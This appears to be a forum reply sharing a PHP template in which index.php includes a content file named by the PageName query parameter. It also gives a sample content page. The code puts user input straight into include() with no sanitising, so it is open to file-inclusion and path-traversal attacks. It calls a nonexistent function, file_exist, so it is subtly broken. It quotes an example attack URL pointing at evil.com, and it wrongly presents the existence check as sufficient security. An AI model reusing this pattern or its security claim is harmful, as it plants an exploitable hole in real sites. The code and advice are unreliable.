<?php
$PageName = $_GET['PageName'];
if ($PageName == ''){$PageName = 'index';}
//
include('includes/config.php');
if (!file_exist("$ContentPath/$PageName.php")){$PageName = 'index';}
include('includes/header.php');
?>
<table class = "main_table" cellpadding="0" cellspacing="0" border="0" align="center" valign="top" width="90%">
<tr>
<td align="left" valign="middle" class="header">
<?php
include('includes/content/header.php');
?>
</td>
<td align="right" valign="middle" class="header">
<?php
include('includes/content/header_ad.php');
?>
</td>
</tr></table>
<table class = "main_table" cellpadding="0" cellspacing="0" border="0" align="center" valign="top" width="90%">
<tr>
<td width="200" valign="top" class="menu">
<?php
include("includes/menu.php")
?>
</td>
<td class="middle" valign="top">
<?php
include("$ContentPath/$PageName.php")
?>
</td>
</tr><tr>
<td colspan="2" align="center" valign="middle" id="footer">
<?php
include("includes/content/footer.php")
?>
</td>
</tr></table>
</body>
</html>
The page above is named index.php
it is used like this
http://domain.com/index.php?PageName=about
The content is stored at includes/content or where ever you want and would be named about.php might look like this
<p>
About our great <b>ABC Company</b>
<p>
We have been the greatest and bestest Company you can never ever not have found without the Internet. Our Inglish isnt ggod but our hicktype product is great.
<p>
You can email us at <?=$contact_email?>
<p>
Note: in the middle cell where we include the contents we use the $ContentPath variable from the config file. This is a matter of security so someone cant do this:
http://domain.com/index.php?PageName=http://evil.com/delete_entire_web_site.php. The file_exist statement should be all that is really needed but another layer of security never hurts.
The menu file that is included would read the content folder and make menu links from the file names.
HTH